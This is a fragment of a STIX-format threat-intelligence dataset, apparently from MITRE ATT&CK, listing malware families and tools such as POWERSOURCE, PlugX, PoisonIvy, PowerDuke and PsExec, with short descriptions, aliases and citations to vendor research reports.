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            "description": "POWERSOURCE is a PowerShell backdoor that is a heavily obfuscated and modified version of the publicly available tool DNS_TXT_Pwnage. It was observed in February 2017 in spearphishing campaigns against personnel involved with United States Securities and Exchange Commission (SEC) filings at various organizations. The malware was delivered when macros were enabled by the victim and a VBS script was dropped. (Citation: FireEye FIN7 March 2017) (Citation: Cisco DNSMessenger March 2017)\n\nAliases: POWERSOURCE, DNSMessenger",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Software/S0145",
                    "external_id": "S0145"
                },
                {
                    "source_name": "FireEye FIN7 March 2017",
                    "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/03/fin7%20spear%20phishing.html"
                },
                {
                    "source_name": "Cisco DNSMessenger March 2017",
                    "description": "Brumaghin, E. and Grady, C.. (2017, March 2). Covert Channels and Poor Decisions: The Tale of DNSMessenger. Retrieved March 8, 2017.",
                    "url": "http://blog.talosintelligence.com/2017/03/dnsmessenger.html"
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        },
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            "type": "malware",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "modified": "2018-01-17T12:56:55.080Z",
            "name": "POWRUNER",
            "description": "POWRUNER is a PowerShell script that sends and receives commands to and from the C2 server. (Citation: FireEye APT34 Dec 2017)\n\nAliases: POWRUNER",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Software/S0184",
                    "external_id": "S0184"
                },
                {
                    "source_name": "FireEye APT34 Dec 2017",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
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            "created": "2017-05-31T21:33:11.426Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Pass-The-Hash Toolkit",
            "description": "Pass-The-Hash Toolkit is a toolkit that allows an adversary to \"pass\" a password hash (without knowing the original password) to log in to systems. (Citation: Mandiant APT1)\n\nAliases: Pass-The-Hash Toolkit",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Software/S0122",
                    "external_id": "S0122"
                },
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:32:35.780Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "PinchDuke",
            "description": "PinchDuke is malware that was used by APT29 from 2008 to 2010. (Citation: F-Secure The Dukes)\n\nAliases: PinchDuke",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Software/S0048",
                    "external_id": "S0048"
                },
                {
                    "source_name": "F-Secure The Dukes",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:33:01.483Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Ping",
            "description": "Ping is an operating system utility commonly used to troubleshoot and verify network connections. (Citation: TechNet Ping)\n\nAliases: Ping, ping.exe",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Software/S0097",
                    "external_id": "S0097"
                },
                {
                    "source_name": "TechNet Ping",
                    "description": "Microsoft. (n.d.). Ping. Retrieved April 8, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/bb490968.aspx"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:33:12.388Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Pisloader",
            "description": "Pisloader is a malware family that is notable due to its use of DNS as a C2 protocol as well as its use of anti-analysis tactics. It has been used by APT18 and is similar to another malware family, HTTPBrowser, that has been used by the group. (Citation: Palo Alto DNS Requests)\n\nAliases: Pisloader",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Software/S0124",
                    "external_id": "S0124"
                },
                {
                    "source_name": "Palo Alto DNS Requests",
                    "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/"
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            "created": "2017-05-31T21:32:15.638Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "PlugX",
            "description": "PlugX is a remote access tool (RAT) that uses modular plugins. (Citation: Lastline PlugX Analysis) It has been used by multiple threat groups. (Citation: FireEye Clandestine Fox Part 2) (Citation: New DragonOK) (Citation: Dell TG-3390)\n\nAliases: PlugX, Sogu, Kaba",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Software/S0013",
                    "external_id": "S0013"
                },
                {
                    "source_name": "Lastline PlugX Analysis",
                    "description": "Vasilenko, R. (2013, December 17). An Analysis of PlugX Malware. Retrieved November 24, 2015.",
                    "url": "http://labs.lastline.com/an-analysis-of-plugx"
                },
                {
                    "source_name": "FireEye Clandestine Fox Part 2",
                    "description": "Scott, M.. (2014, June 10). Clandestine Fox, Part Deux. Retrieved January 14, 2016.",
                    "url": "https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html"
                },
                {
                    "source_name": "New DragonOK",
                    "description": "Miller-Osborn, J., Grunzweig, J.. (2015, April). Unit 42 Identifies New DragonOK Backdoor Malware Deployed Against Japanese Targets. Retrieved November 4, 2015.",
                    "url": "http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/"
                },
                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved January 25, 2016.",
                    "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/"
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            ],
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            "id": "malware--b42378e0-f147-496f-992a-26a49705395b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:32:15.263Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "PoisonIvy",
            "description": "PoisonIvy is a popular remote access tool (RAT) that has been used by many groups. (Citation: FireEye Poison Ivy)\n\nAliases: PoisonIvy, Poison Ivy",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Software/S0012",
                    "external_id": "S0012"
                },
                {
                    "source_name": "FireEye Poison Ivy",
                    "description": "FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved November 12, 2014.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf"
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            "created": "2018-01-16T16:13:52.465Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Power Loader",
            "description": "is modular code sold in the cybercrime market used as a downloader in malware families such as Carberp, Redyms and Gapz. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nAliases: Power Loader, Win32/Agent.UAW",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Software/S0177",
                    "external_id": "S0177"
                },
                {
                    "source_name": "MalwareTech Power Loader Aug 2013",
                    "description": "MalwareTech. (2013, August 13). PowerLoader Injection \u2013 Something truly amazing. Retrieved December 16, 2017.",
                    "url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html"
                },
                {
                    "source_name": "WeLiveSecurity Gapz and Redyms Mar 2013",
                    "description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.",
                    "url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:33:19.746Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "PowerDuke",
            "description": "PowerDuke is a backdoor that was used by APT29 in 2016. It has primarily been delivered through Microsoft Word or Excel attachments containing malicious macros. (Citation: Volexity PowerDuke November 2016)\n\nAliases: PowerDuke",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Software/S0139",
                    "external_id": "S0139"
                },
                {
                    "source_name": "Volexity PowerDuke November 2016",
                    "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.",
                    "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"
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            "modified": "2018-01-17T12:56:55.080Z",
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            "description": "Prikormka is a malware family used in a campaign known as Operation Groundbait. It has predominantly been observed in Ukraine and was used as early as 2008. (Citation: ESET Operation Groundbait)\n\nAliases: Prikormka",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Software/S0113",
                    "external_id": "S0113"
                },
                {
                    "source_name": "ESET Operation Groundbait",
                    "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"
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            "description": "PsExec is a free Microsoft tool that can be used to execute a program on another computer. It is used by IT administrators and attackers. (Citation: Russinovich Sysinternals) (Citation: SANS PsExec)\n\nAliases: PsExec",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Software/S0029",
                    "external_id": "S0029"
                },
                {
                    "source_name": "Russinovich Sysinternals",
                    "description": "Russinovich, M. (2014, May 2). Windows Sysinternals PsExec v2.11. Retrieved May 13, 2015.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx"
                },
                {
                    "source_name": "SANS PsExec",
                    "description": "Pilkington, M.. (2012, December 17). Protecting Privileged Domain Accounts: PsExec Deep-Dive. Retrieved August 17, 2016.",
                    "url": "https://digital-forensics.sans.org/blog/2012/12/17/protecting-privileged-domain-accounts-psexec-deep-dive"
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            "modified": "2018-01-17T12:56:55.080Z",
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            "description": "Psylo is a shellcode-based Trojan that has been used by Scarlet Mimic. It has similar characteristics as FakeM. (Citation: Scarlet Mimic Jan 2016)\n\nAliases: Psylo",
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                    "description": "Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV\u2019s Radar. Retrieved February 15, 2017.",
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            "description": "T9000 is a backdoor that is a newer variant of the T5000 malware family, also known as Plat1. Its primary function is to gather information about the victim. It has been used in multiple targeted attacks against U.S.-based organizations. (Citation: FireEye admin@338 March 2014) (Citation: Palo Alto T9000 Feb 2016)\n\nAliases: T9000",
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                    "external_id": "S0098"
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                    "source_name": "FireEye admin@338 March 2014",
                    "description": "Moran, N. and Lanstein, A.. (2014, March 25). Spear Phishing the News Cycle: APT Actors Leverage Interest in the Disappearance of Malaysian Flight MH 370. Retrieved April 15, 2016.",
                    "url": "https://www.fireeye.com/blog/threat-research/2014/03/spear-phishing-the-news-cycle-apt-actors-leverage-interest-in-the-disappearance-of-malaysian-flight-mh-370.html"
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                    "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.",
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                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
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            "description": "TEXTMATE is a second-stage PowerShell backdoor that is memory-resident. It was observed being used along with POWERSOURCE in February 2017. (Citation: FireEye FIN7 March 2017)\n\nAliases: DNSMessenger, TEXTMATE",
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                    "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.",
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                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
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                    "description": "Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014.",
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            "description": "Tor is a software suite and network that provides increased anonymity on the Internet. It creates a multi-hop proxy network and utilizes multilayer encryption to protect both the message and routing information. Tor utilizes \"Onion Routing,\" in which messages are encrypted with multiple layers of encryption; at each step in the proxy network, the topmost layer is decrypted and the contents forwarded on to the next node until it reaches its destination. (Citation: Dingledine Tor The Second-Generation Onion Router)\n\nAliases: Tor",
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                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
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            "description": "WEBC2 is a backdoor used by APT1 to retrieve a Web page from a predetermined C2 server. (Citation: Mandiant APT1 Appendix)\n\nAliases: WEBC2",
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                    "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.",
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                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"
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                    "source_name": "Baumgartner Naikon 2015",
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            "description": "is a backdoor appears to be a new version of commercial software , which is marketed to government agencies. It is reportedly used to attack individual computers instead of networks. It was used by  in a May 2016 campaign. (Citation: Microsoft SIR Vol 21) (Citation: Microsoft NEODYMIUM Dec 2016)\n\nAliases: Wingbird",
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